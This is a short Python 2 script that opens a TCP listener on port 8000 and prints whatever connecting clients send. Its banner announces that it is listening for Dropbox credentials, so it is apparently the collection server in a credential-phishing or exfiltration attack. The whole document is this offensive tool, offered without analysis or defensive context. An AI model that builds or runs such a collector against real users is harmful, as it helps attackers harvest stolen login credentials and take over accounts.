import socket
import os

def main():
	sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)  
	sock.bind(('0.0.0.0', 8000))  
	sock.listen(5) 
	print "[*] Listening for Dropbox Credentials..." 
	while True:  
	    connection,address = sock.accept()  
	    buf = connection.recv(1024)  
	    print buf  		
	    connection.close()
main()